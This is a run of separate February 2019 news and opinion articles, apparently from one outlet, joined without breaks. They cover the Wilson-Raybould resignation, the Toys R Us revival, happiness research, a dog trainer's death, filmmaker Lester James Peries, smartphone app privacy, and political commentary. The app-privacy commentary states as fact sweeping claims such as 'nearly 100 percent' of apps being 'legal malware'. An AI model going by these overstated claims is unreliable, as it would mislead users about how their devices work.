In her letter on Feb. 12, she said she has hired former Supreme Court justice Thomas Cromwell to advise her on the topics that I am legally permitted to discuss in this matter.

Wilson-Raybould said she intends to continue serving as the MP for the riding of Vancouver-Granville. For the time being at least, she remains a member of the Liberal caucus.

Her exit came less than 24 hours after Trudeau said he had full confidence in her and suggested she would have resigned from cabinet on principle if she had felt anyone had tried to improperly pressure her.

In our system of government, of course, her presence in cabinet should actually speak for itself, he said following an event in Vancouverone that Wilson-Raybould didnt attend, unlike a handful of fellow Liberals from the city.

Trudeaus office issued a terse statement that made no attempt to put any gloss on Wilson-Rayboulds departure from cabinet or to thank her for her service.

Wilson-Raybould informed the prime minister on Monday night of her intention to resign, the statement said. Trudeau informed the rest of his cabinet on the morning of Feb. 12 about her decision and named Defence Minister Harjit Sajjan to take over responsibility for the veterans-affairs portfolio.

Trudeau was scheduled to take questions from the media later, on Feb. 12, after an event in Winnipeg.

In Fredericton, N.B., Conservative Leader Andrew Scheer said Wilson-Rayboulds resignation proves theres more to the SNC-Lavalin story than Trudeau has been letting on.

Yesterday, he said that her presence (in cabinet) speaks for itself. Well, today, her resignation speaks for itself, Scheer said. Clearly, there is something more than he has been forthcoming with.

Trudeau has denied Wilson-Raybould was pressured to instruct the director of public prosecutions to negotiate a remediation agreement with SNC-Lavalin rather than pursue a criminal trial on charges of corruption and bribery related to the companys efforts to secure government contracts in Libya. On Feb. 11, after meeting with Wilson-Raybould, Trudeau said she confirmed to him that he had specifically told her it was entirely up to her whether to prosecute the Montreal-based engineering giant.

The Trudeau government passed a law last year which allows for remediation agreements in cases of corporate corruption, wherein a company pays reparations but does not wind up with a criminal conviction that would bar it from bidding on government contracts, potentially throwing thousands of employees out of work.

Government insiders have said Wilson-Raybould was involved in internal discussions last fall about whether to instruct the director of public prosecutions to pursue remediation, as is allowed by law, but theyve insisted those discussions were not tantamount to pressure.

Scheer called on Trudeau to waive solicitor-client privilege to allow Wilson-Raybould to speak freely on the matter.

The longer he refuses to do this, the more guilty he appears to Canadians.

Scheer also wrote to Trudeau, calling on him to ensure that all documentsincluding memos, letters, emails, PINs, SMS messages and handwritten notes'pertaining to the case are preserved.

Both Scheer and NDP Leader Jagmeet Singh called on the Liberals to support an opposition motion to have the House of Commons justice committee investigate the allegation that Wilson-Raybould was pressured. The committee is scheduled to consider the motion on Wednesday.

Now more than ever, it is imperative that the Liberal government support the work of the justice committee that will be looking into whether there was illegal interference with the independent exercise of the former attorney generals responsibilities, Singh said in a statement.

If Justin Trudeau and the Liberal government shut the justice committees work down, it would send a dangerous signal to Canadians about the state of our democracy.

Liberals, who hold the majority on the committee, appear to be open to conducting an investigation. And on Feb. 11, Trudeau said he welcomed news that federal ethics commissioner Mario Dion has initiated his own investigation into the matter, specifically whether theres been a violation of a Conflict of Interest Act provision which prohibits a public office holder from seeking to influence a decision so as to improperly further another persons private interests.

Some Indigenous leaders have been highly critical of Trudeaus decision to demote Wilson-Raybould and those criticisms escalated on Feb. 12.

Shortly before her resignation announcement, the Union of British Columbia Indian Chiefs issued an open letter to Trudeau demanding that he publicly condemn the racist and sexist innuendo thats circulated about Wilson-Raybould since her demotion, suggesting that shes difficult to work with and not a team player.

The union attributed these anonymous, cowardly attempts to discredit Wilson-Raybould to Trudeaus staff and said they perpetuate colonial-era, sexist stereotypes that Indigenous women cannot be powerful, forthright and steadfast in positions of power.

Garrison Settee, grand chief of the Manitoba Keewatinowi Okimakanak Inc., a group representing 30 First Nations in northern Manitoba, echoed that sentiment. And he called Wilson-Rayboulds resignation a significant step backwards in our long-standing efforts to advance reconciliation.

Perry Bellegarde, national chief of the Assembly of First Nations, said in a statement that he was saddened by Wilson-Rayboulds departure, noting that many First Nations people celebrated her appointment to the justice portfolio as a testament to her expertise, experience and intellect.

He said hes concerned about the many unanswered questions surrounding Wilson-Rayboulds resignation and added that this is echoed by many First Nations across the country.

In her letter, Wilson-Raybould thanked her staff, officials and Canadians who supported her while in cabinet and concluded: Regardless of background, geography, or party affiliation, we must stand together for the values that Canada is built on, and which are the foundation for our future.A woman pushes a shopping cart over a graphic of Toys R Us mascot Geoffrey the giraffe at the Toys R Us store in Raritan, N.J. on July 30, 1996. (AP Photo/Daniel Hulshizer, File)

Toys R Us Plans Second Act by Holiday Season

NEW YORKToys R Us fans in the United States should see the iconic brand re-emerge in some form by this holiday season.

Richard Barry, a former Toys R Us executive and now CEO of the new company called Tru Kids Brands, told The Associated Press he and his team are still working on the details, but theyre exploring various options including freestanding stores and shops within existing stores. He says that e-commerce will play a key role.

Toys R Us, buckling under competition from Amazon and several billions of dollars of debt, filed for Chapter 11 reorganization in September 2017 and then liquidated its businesses last year in the U.S. as well as several other regions including the United Kingdom.

2018 was a very disruptive year, driven by the bankruptcy and liquidation of Toys R Us across most of the world and a rapidly shifting consumer and retail landscape, said Brian Goldner, Hasbros chairman and chief executive officer.

During 2018, we diversified our retailer base, meaningfully lowered retailer inventories and delivered innovative new offerings to our global consumers. We were not, however, able to recapture as much of the Toys R Us business during the holiday period as we anticipated as the effect of its liquidated inventory in the market was more impactful than we and industry experts expected. It is an unprecedented yet finite event. In addition, as we discussed throughout the year, our European shipments declined as the teams successfully lowered retailer inventories amidst a declining toy and game market.

Toys R US plans second act under new name https://t.co/Tsbzkpi6Yr #7News pic.twitter.com/1Unm0HqJyZ  7News Boston WHDH (@7News) February 11, 2019

In October, a group of investors won an auction for Toys R Us assets, believing they would do better by potentially reviving the toy chain, rather than selling it off for parts. Starting Jan. 20, Barry and several other former Toys R Us executives founded Tru Kids and are now managing the Toys R Us, Babies R Us and Geoffrey brands. Toys R Us generated $3 billion in global retail sales in 2018. Tru Kids estimates that 40 percent to 50 percent of Toys R Us market share is still up for grabs despite many retailers like Walmart and Target expanding their toy aisles.

These brands are beloved by customers, said Barry. He noted that the company will focus on experiences in the physical stores, which could be about 10,000 square feet. The original Toys R Us stores were roughly about 40,000 square feet.

ITS BACK!!! Are you going to give the new Tru Kids a try? https://t.co/f0jDksgt15  ABC12WJRT (@ABC12WJRT) February 11, 2019

Barry said he and his team have been reaching out to toy makers and have received strong support. But he acknowledged that many had been burned by the Toys R Us liquidation.

Tru Kids, based in Parsippany, New Jersey, about a 20-minute drive from Wayne, New Jersey, where Toys R Us was based, will work with licensing partners to open 70 stores this year in Asia, India, and Europe. Outside the United States, Toys R Us continues to operate about 800 stores.The 2 Levels of Happiness

To find true happiness, first we have to know what it is

Happiness seems like a simple idea until you consider that this single word covers concepts as diverse as quiet contentment and ecstatic joy.

How we define happiness will decide how we seek it, and not all happiness is created equal. In fact, some forms of happiness arent even good for us. Some paths to happiness lead us to deep satisfaction, but others leave us with a fleeting feeling that is followed by a hunger for more.

For our ancestors, guidance for a happy life came from stories and sages that taught the right way to live. Now, modern science has also made a serious study of happiness, and it begins with an understanding of how we determine our sense of well-being.

A Happiness Heuristic

One very common way that psychologists believe we assess our reality is through something called the peak-end rule.

According to this theory, we judge any given experience by how we felt at its most intense point and how we felt at its end. We dont tend to care about the total sum of our feelings during the course of the experience, or how they may average out.

Instead, we just focus on the highlights: the best parts, the worst parts, and the last parts. The moments that made the strongest impression during our experience tell us whether it was good or bad, and how good or bad it was.

Nobel laureate Dr. Daniel Kahneman, a researcher and psychology professor at Princeton University, helped coin the peak-end rule in 1999 through studies demonstrating evidence for it.

But thats just part of the story.

Hidden Happiness

In a later observational study that Kahneman and his team conducted, a group of 800 women was asked about their happiness with daily activities as well as a specific aspect of happiness: their satisfaction with life.

Time spent with their children was reported among the least enjoyable activities. But a contradiction emerged. When Kahneman analyzed the data he found that, despite the frustration associated with raising kids, mothers reported a higher level of life satisfaction than women without children.

Why didnt the peak-end rule hold up? According to Dr. Talya Miron-Shatz, a psychologist who worked alongside Kahneman, there are limits to this rule. One is that the end only has an effect on experiences that have a distinct end. The other is that the rule only applies to a single level of happiness.

Satisfaction with life is a higher concept than happiness that is experienced on a day-to-day level, Miron-Shatz said. When it comes to evaluating life satisfaction, you think of the big picture: your career, home, marriage, family, etc. Its more of a check-the-boxes activity.

Life on 2 Levels

In labeling these two tiers of happiness, psychologists draw inspiration from ancient Greece. The day-to-day level is called hedonic happiness and the big picture level is called eudaimonic happiness.

Hedonic happiness (derived from the Greek word hedone, meaning pleasure) refers to the feelings we get from creature comforts. Its the thrill that comes with buying new shoes or eating a decadent dessert. Hedonic is whatever feels good in the moment.

Eudaimonic happiness, on the other hand, fulfills our need for meaning and purpose. Aristotle was the first to describe the virtuous pursuits of Eudaimoniaa word that translates to being in line with good divine beings. Later philosophers promoted this idea as the ultimate goal of life.

There are several paths to Eudaimonia, and theres also nothing wrong with enjoying some hedonic moments (provided theyre not immoral or excessive). Both levels can give us joy, but a key point is that we can never replace one level with another.

If I look to hot chocolate for happiness, its not going to give me the gratification I need on a eudaimonic level, Miron-Shatz said.

But that doesnt stop us from trying. In fact, we live in a world in which were constantly encouraged toward such futility. Advertising woos us to buy, not just a product, but a sense of transcendence and self-empowerment that no trinket could possibly deliver.

Hedonic Treadmill

In terms of the amount and intensity of hedonic experiences at our disposal, life has never been better. We have easy access to a variety of pleasures that were unattainable to even the greatest kings of the past. So why arent we the happiest culture in history? Modern malaise, anxiety, and depression arent just linked to a lack of eudaimonia. Its also because we have worn out the hedonic.

Psychologists call it the hedonic treadmill. It describes the pleasure you initially get from a thing or activity that wanes with time. Eventually, we adapt, so that once-reliable happy trigger no longer gives us a thrill. As if on a treadmill, youre running after a feeling youll never reach. Heroin addicts refer to this dynamic as chasing the dragon. But whether its drugs, sweet treats, or some other compulsive thing we rely on for our sense of well-being, the principle is the same.

And it doesnt just apply to vices. Say you get a better paying job, a bigger house, or a fancier car. These upgrades make you happy for a while, but then, it becomes the new normal. You no longer get a gratifying feeling from them because our perception is geared toward grasping changes. Rememberwe recall the peak momentsso the positives that once punctuated our lives eventually become the things we take for granted.

Transcendent Pursuits

Yet there are peaks we can seek that have shown to be reliably sustainable in the pleasure we get from them. In a study of her own design, Miron-Shatz asked a cohort of women from Ohio to report the remarkably high points of their day. When her team analyzed all the peaks people had in common, religious activity, prayer, and hobbies came out on top.

I think its because these things transcend you. They take you beyond the everyday, she said. Another thing they have in common is that theyre voluntary.

Having a sense of freedom ranks high in happiness research. Perhaps thats why something so confiningcommutingranks so low. In one of Kahnemans studies, the daily back-and-forth to work was an activity that people reported hating most.

Nagging Negativity

Another thing that researchers have found when figuring out the happiness equation is that bad experiences have an even greater bearing on how we assess our experience than the good. A 2001 article in the Review of General Psychology, titled Bad is Stronger than Good, by psychology professors from Case Western Reserve University, explores this pattern.

This is not to say that bad will always triumph over good, spelling doom and misery for the human race. Rather, good may prevail over bad by the superior force of numbers: Many good events can overcome the psychological effects of a single bad one. When equal measures of good and bad are present, however, the psychological effects of bad ones outweigh those of the good ones, they wrote.

Some psychologists explain this phenomenon as a survival mechanism. Its nice to feel good, but our feelings are more influenced by the bad moments, so that we pay attention, and avoid this pain in the future.

This phenomenon could also be linked to a disposition toward negative thinking rather than positive. That disposition may be stronger in times of high anxiety, depression, and conflict.

Whatever the reason, there are things we can do to tip the happiness equation in our favor.

Turning Toward Happiness

A big one is gratitude. Miron-Shatz, who now heads Buddy&Soul, an online platform for personal development, says learning to count your blessings can really help with seeing a brighter day. So even when youre hit with something bad, seeing all the good in your life can soothe the sting.

But dont just turn to gratitude when times are tough. With practice, we can learn to perpetually empower our perception.

With a gratitude journal, we condition ourselves to look for things that were grateful for, rather than looking for things were going to complain about, she said.

Another way that research has shown we can lessen the burdens that lead to unhappiness is financial security.

This may at first seem to contradict the old saying that money cant buy happiness. But consider that this trope is really about the unfulfilling nature of hedonic purchases. The real power of wealth is that it can help you avoid the stress and hard times that can grind down your mood.

Its nice to buy yourself a little something when youre feeling low. But if you have less money, you need to limit luxuries and impulse buys in favor of more practical pursuits. Being able to pay your bills without going deeper into debt will leave you happier in the long run, or at least less unhappy.

A third powerful tool for making a happier life is learning how to better interpret events as they unfold. For example, if you feel your day is ruined simply because a restaurant got your order wrong, examine how you came to this conclusion. Its likely that the mixup was an honest mistake and not the personal attack that you may at first perceive.

It can also help to put negative events into a wider context. For example, something that seems terrible now, like a challenging project at work, may become a source of pride in the future. Or an embarrassing incident may seem trivial if we consider how we will think of it in a years time.

This tool isnt about changing reality, merely reframing it, and considering your problem from another angle.

Ask yourself, Could I be looking at it any differently? Its going to help if you do, Miron-Shatz said. You dont have to sugarcoat it, but how you perceive the events around youand if you can brush it offcan make a big difference.

Finally and above all, dont neglect eudaimonia. Our pursuit for meaning, belonging, and doing the right thing may not provide the quick fix and cheap thrills of our hedonic pursuits, but its the higher-level fulfillment that really makes our spirit soar.Elaine Richman, a dog trainer, was found dead outside her home in Houston, Texas, on Feb. 9, 2019. (Facebook)

Texas Dog Trainer Found Dead With Bite Marks: Police

A 66-year-old dog trainers body was discovered in the backyard of her Texas home covered in bite marks, according to police.

Elaine Richman was found dead on the morning of Friday, Feb. 8, by authorities conducting a welfare check, news station KPRC reported.

Houston police were dispatched to Richmans home after it was reported she had missed two dog training classes.

Deputies found Alief Doberman trainer Elaine Richman dead with dog bites in her backyard on Friday. Autopsy report shows she died from sharp force injuries. #KHOU11 pic.twitter.com/mQ6ARWoUCP  Matt Dougherty (@MattKHOU) February 11, 2019

When authorities arrived at the residencelocated on the 12800 block of Susanna Lanethey found Richman in the backyard, apparently having been mauled by a dog. Police said her body bore signs of dog bites on the face, arms, and hands.

Emergency responders pronounced the woman dead at the scene.

Elaine Richman loved her dogs, but her Dobermans may be what caused her death https://t.co/oMOs4r2F9D  ABC13 Houston (@abc13houston) February 12, 2019

Richman died of sharp force injuries, according to the Houston Chronicle, and officials have called her death accidental.

The victims brother told the Chronicle that a full medical report on her death was still pending.

It is tragic and unfortunate that shes leaving us at such a young age, Bruce Richman said. It is just a very, very sad event that has taken place, but you know you have to remember the joy that she brought to so many of these dogs.

Doberman Pinschers Trained for Title

Authorities said responding officers found two full-grown Doberman Pinschers inside the womans home. Police did not say if those dogs were responsible for the bites on the womans body or played a role in her death.

Both dogs were confiscated by authorities, according to KTRK, and were said to have been remanded to the City of Houstons Animal Control.

She actually has a closeness to Dobermanns and she spent a big part of her life training and showing the dogs, said Bruce Richman, the victims brother, speaking to KTRK. It takes a special person to be very kind to animals, which she was. All of her brothers and sisters were shocked and surprised. Well miss her greatly.

According to people who worked with Richman, she was training her dogs for American Kennel Club (AKC) obedience titles.

They were purebred Dobermanns, beautiful dogs, said a neighbor, as cited by KTRK. She did training with them. They were show dogs.

Very Sad News

Photos on Richmans Facebook page shows her with two Dobermans that appear to regularly compete in dog shows and competitions.

Richman also belonged to a group called the North Texas Nosework Club.

Some very sad news. Elaine Richman has died. Read it from a couple of posts. I met her at the OK Classic in November, crated next to her & her Doberman, Georgann Hughes wrote in the group.

According to Hughes, she had just seen Richman in Tyler, Texas, the previous weekend.

I dont know any details, but in November she had talked about upcoming heart surgery to get a stint. Please keep her & her family & friends in your prayers, Hughes added.

Several people in the group who knew Richman commented on Hughess post.

So sad. I had a nice visit with her last weekend in Tyler, said Margie Fedderly. She had another recent fall with bad complications.

Another Facebook user said Richman had fallen during the Paris trials last November.

Another user said of Richman, A very nice lady who was crazy about her dog. Trialed with her at ASCA trials too.

Deputies found Alief Doberman trainer Elaine Richman dead with dog bites in her backyard on Friday. Autopsy report shows she died from sharp force injuries. #KHOU11 pic.twitter.com/mQ6ARWoUCP  Matt Dougherty (@MattKHOU) February 11, 2019

Richmans brother told the Chronicle that she was an accountant by trade, but the dogs were her life.

What she liked to do was to be with her dogs, he said. I always say that whenever I talked to her, her voice would light up in discussion on what this dog or that dog did.

Extremely Unusual

Houston Kennel Club president, Tom Pincus, told the Chronicle its rare a dog would cause their owners death.

That is extremely unusual, that a person is attacked by their personal dogs, Pincus told the publication. I would not believe that for a second until I heard that from a coroners report.

Theresa Nail, who handled one of Richmans Dobermanns in competitions, told the Chronicle that Richmans dogs were champions that were very well-behaved and sweet.

Centers for Disease Control and Prevention did a study in the mid-90s into dog bite-related deaths, which placed Dobermans in the top 10 of dog-bite deaths by breed.

According to the Chronicle, Richman had a sign on her fence that said, Beware of dog.Sri Lankans who watched the state funeral accorded to Lester James Peries (LJP), the filmmaker, hailed as the architect of authentic Sinhala cinema and creator of some of the best Sinhala films, greatly appreciated t he glowing tributes showered on him during the funeral. The comments came from the highest in the Land. And the eulogies did not stop there. A pledge was made before his mortal remains that No. 24, Lester James Peries Mawatha, Colombo 5, the residence of the Peries for 49 years, would be converted to a cinematic museum in the name of the maestro. The house which was live with cinematic activity for nearly five decades, would be made into a hub for those in the industry.

Lester also won the Fellini Gold Medal in the same year in Cannes along with Clint Eastwood

Such pledges made at public gatherings can be considered as political rhetoric made to please the crowd charged with emotions. But did these pledges thus made in public, drive fear into those who owned the house and hastened them to take steps to safeguard their property?

The Peries lived in the house on rent. They believed they will be able to remain there, the few more years left of their lives.

Sumitra Peries, the wife of the legend and Sri Lankas first woman film director, their lab, Ceasar and the staff however, now live in Old Kottawa Road, Mirihana.Sumitra insists that the owners did not force her out of the Colombo house where they lived since 1969. About two years ago, while LJP was still alive, they were informed by a legal firm that the house had been sold by its owners to a developing company. The then Justice Minister Wijeyadasa Rajapakshe visited them and took Sumitra to the lawyers when the Agreement was renewed to regularise the tenancy. Except for some routine visits, the company had not made any attempt to force them out. And Sumitra as usual, had kept sending the monthly rent to the owners by registered post.

His fusion of literature and cinema, enriched cinematic art and when making films, he went deep into the roots of Lankan society focusing mostly on the family as the central theme of his cinema

Following LJPs demise however, a company representative visited Sumitra when she was asked whether she would like to be relocated? It was done she insists, in a very civilised manner. They took her around and showed houses but she chose the present house of which the cost was shared by both parties.

The next hurdle was shifting with their belongings and old pieces of art that had got collected for nearly 50 years. What could not be accommodated was given away to friends and relatives. What broke her heart however was parting with the prized collection of LJPs books. She said he had a rare collection of books and there was never a day when he didnt read one of them. Even when LJP couldnt read in the latter stages, there was an opened book on his lap. She gave the books to the Public Library where she believes the books will be best made use of.

The cinematic monument thus promised by those who hold the reins of the countrys culture, gave way to property development!

Why are people concerned of the fate of the Peries? Have we as a nation failed in giving what we got from them? LJP took away the direction of the film industry from the South Indian tradition that prevailed at the time and created films with a true Lankan identity. His fusion of literature and cinema, enriched cinematic art and when making films, he went deep into the roots of Lankan society focusing mostly on the family as the central theme of his cinema. Thus, he induced serious film-goers to go to the theatre halls which commenced a dialogue on cinema. All this began at a time when there was virtually no film industry in Sri Lanka.

Why are people concerned of the fate of the Peries? Have we as a nation failed in giving what we got from them? LPJ took away the direction of the film industry from the South Indian tradition that prevailed at the time and created films with a true Lankan identity

Are cinematic giants appreciated more outside than within their countries? LJP did win awards at local film festivals. A road was named after him. A maintenance allowance commenced paying LJPs health bills at the age of 99 years. A month later, he passed away. And he did get a grand funeral. But was that all he deserved? Were any attempts made to protect his historic cinematic creations for posterity?

The Guardian newspaper commenting on his death said like his contemporary Satyajit Rai, he was more highly regarded abroad than in his native country. The film icon of Sri Lanka became a giant in Asian cinema.

Long before LJP earned any recognition for his Rekawa at home, it took wing to the 10th Cannes Film Festival in 1957, to compete with a film of the famed Italian Federico Fellini. LJP returned with the Palme dOr Award. Thereafter, he became a regular invitee to the Mecca of Films - Cannes Film Festival, when he was invited for the Directors Fortnight after Satyajit Rai and Akira Kurosawa and won turns to screen Baddegama (1980)Kaliyugaya (1982) and his last film Wekanda Walawwa in 2003. He also won the Fellini Gold Medal in the same year in Cannes along with Clint Eastwood.

Later, in 1997, France decorated him with Commander in the Order of Arts and Letters which was the highest national honour bestowed on a person and the only Sri Lankan to win it. In 2014, Chevalier in the Order of Arts and Letters was conferred on Sumitra.

India awarded LJP the Lifetime Award in 2001, the only occasion an Award was given in India to a film-maker after Michael Angelo Antonioni. That was the Award that went missing at his funeral and was later found. LJPsGamperaliya swept the boards at the Indian Film Festival in 1965.

India awarded LJP the Lifetime Award in 2001, the only occasion an Award was given in India to a film-maker after Michael Angelo Antonioni. That was the Award that went missing at his funeral and later found

Sumitra represented Sri Lanka at the celebration of the 70th year of diplomatic relations between India and Sri Lanka when two of her films were screened at Mumbai and Calcutta Film Festivals. Last month she was awarded the Japanese Foreign Ministers Commendation for her contribution in the international field.

France digitized and restored LJPs Rekawa, Nidhanaya and Gamperaliya and screened them in France and at the European Film Festival. Germany dubbed five of LJPs films and one of Sumitras. These were screened in Germany and on its TV channels. University of California (UCLA) carried out preservation of some of LPJs films. Therefore, except for the handful of films out of LJPs 20 films and Sumitras10 that had been preserved, the rest of the films that reflect the life and soul of Lankan society of a period which does not exist any more, have got lost to the vagaries of time. And, due to the disinterest of relevant authorities.People walk by as the social network Facebook opens a pop-up kiosk for one day in Bryant Park in New York, Dec. 13, 2018, where it fields questions about its data-sharing practices and teach users how to understand its new privacy controls. (TIMOTHY A. CLARY/AFP/Getty Images)

Smartphone App Users Are Data-Mined Even When Not Using the Apps

Commentary

A recent article in the Wall Street Journal, Apple Bans App Used by Facebook in Escalating Privacy Fight, failed to acknowledge how smartphone apps work.

This article, as well as others that report on the Apple versus Facebook feud, failed to note that nearly 100 percent of apps that run on Apple iPhones and smartphones supported by the Android operating system (OS) are simply legal malware programmed to enable the app developer to monitor, track, and data-mine the app user for financial gain.

The fact that Facebook may have violated Apples data-collection policy is irrelevant, since nearly all smartphone apps can be classified as intrusive surveillance and data-mining technology in the first place.

Smartphones arent private, secure, or safe, because Apple and Google employ predatory surveillance and data-mining business practices rooted in surveillance capitalism. This also holds true for Apple and Google affiliates and their trusted partners such as Facebook and Amazon.

Apple would lead you to believe that Facebook is the foe, yet Apple has sold access to its users to Facebook, by allowing Facebook to pay Apple a lot of money to have the Facebook app pre-installed into Apple devices such as the iPhone.

Legal Malware

Pre-installed Facebook and Amazon apps and third-party apps enable Facebook and Amazon to surveil and data-mine the smartphone user even when the user isnt on the Facebook or Amazon platform.

For the most part, app users have no idea that the apps enable Facebook and Amazon to monitor, track, and data-mine all of the users spatial data (e.g. location data) and sensitive user data (their digital DNA), even when they arent using the apps.

Sensitive user data includes location data, device and app history, user accounts, personal ID and the ID of users contacts, calendar data, electronic address book (contacts), call and messaging logs, text messages, files, photos, videos, audio recordings, media files (e.g., music, movies, etc.), and information that can be collected from connected devices such as PCs or USB external storage devices.

The Facebook and Amazon application legalese that supports the apps enables this.

For example, permission to access device hardware, such as the camera and microphone, allows Facebook and Amazon to conduct audio and video surveillance of the Apple iPhone and Android OS-supported smartphone users without the users consent, which is why people see ads sent to them on their smartphones relating to verbal conversations they have had.

Below is a list of application permission statements associated with pre-installed and third-party Apple and Android apps.

Hardware Permissions

Android Camera App Permission Statement: Allows the app to take pictures and videos with the camera. This permission allows the app to use the camera at any time without your confirmation.

Android Microphone App Permission Statement: Allows the app to record audio with the microphone. This permission allows the app to record audio any time without your confirmation.

Personal Information

Android Personal Information App Permission Statement: Allows apps to read personal profile information stored on your device, such as your name and contact information. This means apps can identify you and may send your profile information to others.

Android Contacts App Permission Statement: Allows the app to read data about your contacts stored on your phone, including the frequency with which youve called, emailed or communicated in other ways with specific individuals. This permission allows apps to save your contact data, and malicious apps may share contact data without your knowledge.

Apple Third-Party Acknowledgements

Pre-installed and third-party Apple apps are no less intrusive. Apple seems to be misleading people with regard to the privacy associated with Apple iPhones.

Any time an Apple iPhone user activates a pre-installed Apple app, the user enables the app developer to surveil and data-mine their personal and professional digital DNA for financial gain, as noted in No. 14 in the Apple terms of use regarding the Apple licensing agreement.

14. Third Party Acknowledgements: Portions of the iOS Software may utilize or include third-party software and other copyrighted material. Acknowledgments, licensing terms and disclaimers for such material are contained in the electronic documentation for the iOS Software, and your use of such material is governed by their respective terms. Use of the Google Safe Browsing Service is subject to the Google Terms of Service  and to Googles Privacy Policy.

Facebook and Amazon

Below are master Android application permissions associated with Facebook and Amazon apps.

(Rex M Lee)

Facebook Android App Permissions:

CalendarRead calendar events and confidential information; add or modify calendar events and send email to guests without owners knowledge.

ContactsFind accounts on the device; read your contacts; modify your contacts.

Amazon Alexa Android App Permissions:

ContactsFind accounts on the device; read your contacts.

LocationPrecise location (GPS and network-based).

SMSRead your text messages (SMS and MMS).

The sheer amount of personal and professional digital DNA collected by app developers, such as Facebook and Amazon, is astonishing, to say the least, especially considering each company can collect and use information not associated with the specific use of their products and services.

The privacy and cyber-security threats posed by Facebook and Amazon apps are systemic to nearly all pre-installed and third-party Android and Apple apps.

23andMe

Even DNA apps developed by companies such as 23andMe enable the developer to surveil and data-mine the users digital DNA every minute of the day, whether the user is using 23andMe products or not.

23andMe not only collects the service users DNA but also, via the app, his or her photos, media, files, and other information from external storage devices connected to the smartphone, which include PCs and USB devices.

23andMe also conducts audio and video surveillance on the smartphone user by way of the camera and microphone.

The 23andMe product users may read their DNA results once or twice, but 23andMe continues to surveil and data-mine product users long after the users are done reading their results.

App users need to realize that when they activate pre-installed apps or download third-party apps, the app developers are enabled to surveil and data-mine the user, even if the user isnt actively on the app developers platform or using the app developers product, as these examples indicate.

You may use an app one time, yet that app developer will continue to surveil and data-mine you indefinitely. Be sure to disable unwanted pre-installed apps and uninstall any third-party apps you no longer use.

In closing, note that not all pre-installed apps can be controlled, which means at some level, as many as 15 or more multinational companies are enabled to simultaneously monitor, track, and data-mine you for financial gain, depending on the operating system of your smartphone or device.

Rex M. Lee is a privacy and data security consultant and Blackops Partners senior analyst and researcher. Visit him at MySmartPrivacy.com

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.Democratic members of the House of Representatives applaud as President Donald Trump delivers the State of the Union address in the chamber of the U.S. House of Representatives at the U.S. Capitol Building on February 5, 2019 in Washington, DC. Zach Gibson/Getty Images

Separatists, Not Suffragettes

Commentary

It was a striking sight. There, in Congress, as President Donald Trump delivered the 2019 State of the Union address, a section of white lay amid the black and blue crowd, a glorious show of female solidarity.

The message was all positive: To honor the legacy of womens suffrage in the United States and to mark the historic number of women now in the legislative branch. The house cheered, Republicans and Democrats both, when the president saluted them, and the women in white rose to hug and high-five one another.

Or, you could view the scene in a whole different way. The politics of the white-dress gesture had a lot more partisanship than a pure celebration of female advancement would suggest. They despise Trump, to be sure, not to mention the new Supreme Court justice sitting nearby, who threatens one of the cornerstones of feminism, Roe v. Wade. It had been leaked that the president would say something about abortion, too, which energized the members to come forth as defenders of their sex against conservative politics.

But there was something more antagonistic about this sea of white than todays controversies. It was, instead, the defiant, in-your-face, hard-nosed expression of identity politics.

Elected officials sent to Washington to represent their constituentsall of them, not just one identityproclaimed to the country their full identification with, precisely, just one identity. Beneath the joy was a denial: Were not like the others in this room.

The surface was wholly contemporarywomen in the halls of power, moving forward after a long history of suppression, jubilant and ready to act. But the effect was an old story of factionalism. Even if you comply with our politics, they implied, you wont have our full acceptance. Those white outfits were an avowal of separatism that, we may be sure, every wearer will retain in her work in the coming months.

Political Separation

Its going to be hard for the men in the Democratic Party. Conservative men already feel a political separation from liberal women in the House and Senate, so the sex gap doesnt hit them so hard. Trump, in fact, appeared entirely relaxed when he praised the rise of women in Congress and called for a cheer, sure of exactly where he stands in their hearts. They are adversaries to him; their sex makes no difference.

But liberal men arent so sure. They want to show solidarity with women at all times. One male member, Rep. Dean Phillips of Minnesota, actually donned white himself and sat with the ladies. But inevitably, conflicts will arise among Democrats in the ordinary course of legislation and budgeting. In that case, with the white suits declaring their difference even from the men in their own party, what would otherwise be a difference over interests and policies might appear a sex/gender difference.

For instance, if a male Democrat disfavors elements of New York Rep. Alexandria Ocasio-Cortezs Green New Deal because he represents a heavy-industry district, that may not be the whole story. Does the congressman have a problem with women in charge?

Anyone who doubts the possibility of that turn hasnt read the tweets that Ocasio-Cortez has sent out in response to any and all criticisms. The white-suiters have inserted a separatism into Congress that wont go away anytime soon.

And if the male members think it means a happy new diversity in the ranks, and that they will draw collegial feelings from the white-suiters if they applaud their presence, they will find themselves outflanked and beaten down in every political skirmish.

Mark Bauerlein is a professor of English at Emory University and senior editor at First Things magazine.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.Senate Intelligence Committee Found No Evidence of Collusion Between Trump Campaign and Russia, Reports Say

After interviewing more than 200 witnesses and reviewing 300,000 pages of documents, the Senate Intelligence Committee has found no evidence of collusion between the Trump campaign and Russia, according to both Democratic and Republican sources on the committee.

The committees investigation started more than two years ago and is still running, but its chairman, Richard Burr (R-N.C.) told CBS in an interview published Feb. 7 that investigators have found no evidence to support the allegations of a conspiracy between the campaign and Russia. Anonymous Democratic sources on the committee did not dispute Burrs statements, according to an NBC report published Feb. 12.

If we write a report based upon the facts that we have, then we dont have anything that would suggest there was collusion by the Trump campaign and Russia, Burr told CBS.

We were never going to find a contract signed in blood saying, Hey Vlad, were going to collude,  one anonymous Democratic aide told NBC.

President Donald Trump highlighted both Burrs comments and the Feb. 12 report showing that Democrats do not dispute Burr.

Senator Richard Burr, The Chairman of the Senate Intelligence Committee, just announced that after almost two years, more than two hundred interviews, and thousands of documents, they have found NO COLLUSION BETWEEN TRUMP AND RUSSIA! Is anybody really surprised by this?  Donald J. Trump (@realDonaldTrump) February 10, 2019

The president has vehemently denied allegations that he or his campaign colluded with Russia to influence the 2016 election. Trump instead suggests that Hillary Clinton colluded with Russia. The president has pointed to evidence that the Clinton campaign secretly paid for a dossier of the opposition research on him compiled by a foreign former spy using sources with ties to the Kremlin. The FBI used the dossier, without due verification, to spy on a former Trump-campaign associate.

The findings by the Senate mirror those released last year by the House Intelligence Committee, which concluded that there is no evidence of collusion between the Trump campaign and Russia.

Special counsel Robert Mueller has been investigating allegations of collusion concurrently with the congressional investigations. Mueller has not charged anyone for colluding with Russia, despite multiple unrelated indictments. On Feb. 12, Trumps former attorney John Dowd, who worked on the presidents legal team from June 2017 to March 2018, said that Muellers probe is a terrible waste of time.

